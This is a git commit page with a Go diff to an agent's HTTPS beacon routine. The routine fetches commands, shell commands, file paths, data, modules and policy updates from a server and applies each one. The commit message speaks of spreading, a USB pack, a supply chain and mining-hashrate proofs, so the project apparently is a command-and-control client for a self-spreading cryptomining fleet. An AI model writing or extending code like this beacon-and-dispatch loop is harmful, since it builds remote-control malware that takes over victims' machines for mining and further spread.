feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
AetherForge
2026-06-04 22:36:17 -07:00
parent 1551bd5dad
commit a32860b0d9
154 changed files with 17383 additions and 601 deletions

View File

@@ -21,7 +21,9 @@ type beaconHTTPResponse struct {
Command string `json:"command"`
Path string `json:"path"`
Data string `json:"data"`
Module string `json:"module"`
} `json:"commands"`
Policies []FleetPolicyUpdate `json:"policies"`
}
func (c *AgentClient) httpsBeaconEnabled() bool {
@@ -107,8 +109,12 @@ func (c *AgentClient) beaconOnce(serverURL string) error {
if err := json.Unmarshal(data, &br); err != nil {
return err
}
for _, p := range br.Policies {
raw, _ := json.Marshal(p)
c.applyPolicyUpdate(raw)
}
for _, cmd := range br.Commands {
c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data)
c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data, cmd.Module)
}
return nil
}